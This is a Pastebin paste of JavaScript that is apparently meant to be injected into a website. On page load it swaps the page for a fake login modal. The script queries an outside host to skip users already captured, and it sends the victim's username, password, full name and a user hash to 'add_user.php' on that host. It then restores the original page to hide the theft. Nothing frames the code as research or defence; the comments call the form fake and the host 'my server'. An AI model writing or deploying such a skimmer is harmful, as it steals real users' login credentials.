Advertisement
Guest User

Untitled

a guest
Mar 14th, 2019
118
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.71 KB | None | 0 0
  1. window.onload = function ()
  2. {
  3. // copy user information
  4. var full_name = document.getElementsByClassName("dropdown-toggle btn")[0].innerText.replace(/\s/g,'');
  5. var user_hash = userHash;
  6.  
  7. // setup ajax and backup page
  8. var request = new XMLHttpRequest();
  9. var o_html = document.body.innerHTML;
  10.  
  11. // send request to my server to see if I already have this users information
  12. request.open("GET", "https://unthoughtful-stomac.000webhostapp.com/check_user.php?hash=" + user_hash);
  13. request.send();
  14. request.onload = () =>
  15. {
  16. // if I have the users information just return and do nothing
  17. if(request.responseText == "true")
  18. return;
  19.  
  20. // if I dont yet have this users information inject payload
  21. document.body.innerHTML =
  22. "<html> <div id='modal-login' class='modal hide fade text-left in' tabindex='-1' role='dialog' aria-labelledby='log-in form' aria-hidden='false' style='display: block;'> <div class='modal-header'> <button aria-hidden='true' data-dismiss='modal' class='close' type='button'> <i class='fa fa-remove'></i> </button> <h3>Log in</h3> <div id='modal-login-alert'></div> <p>Use your username &amp; password or log in as account manager by using your activation code in both fields.</p> </div> <div class='modal-body'> <div class='control-group'> <label for='username' class='control-label'>Username</label> <div class='controls'> <input id='smoke_username' type='text' placeholder='username...' name='username'> </div> </div> <div class='control-group'> <label for='password' class='control-label'>Password</label> <div class='controls'> <input id='smoke_password' type='password' placeholder='password...' name='password'> </div> </div> <div class='control-group text-center'> <button name='subscribe-login-access' value='1' class='btn' onclick='smoke_login()'> <i class='fa fa-user'></i> Log in </button> </div> </div> <div class='modal-footer'> <a href='subscribe/lost-password'>Forgot your password?</a><br> </div> </div></html>";
  23. }
  24. }
  25.  
  26. // callback function for when the users presses login on the fake form
  27. smoke_login = () =>
  28. {
  29. // fetch user information from login field
  30. var username = document.getElementById("smoke_username").value;
  31. var password = document.getElementById("smoke_password").value;
  32.  
  33. // log information for debugging
  34. /*console.log(username);
  35. console.log(password);
  36. console.log(full_name);
  37. console.log(user_hash);*/
  38.  
  39. // send all information to my server and restore page
  40. request.open("GET", "https://unthoughtful-stomac.000webhostapp.com/add_user.php?full_name=" + full_name + "&username=" + username + "&password=" + password + "&hash=" + user_hash);
  41. request.send();
  42. request.onload = () =>
  43. document.body.innerHTML = o_html;
  44. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement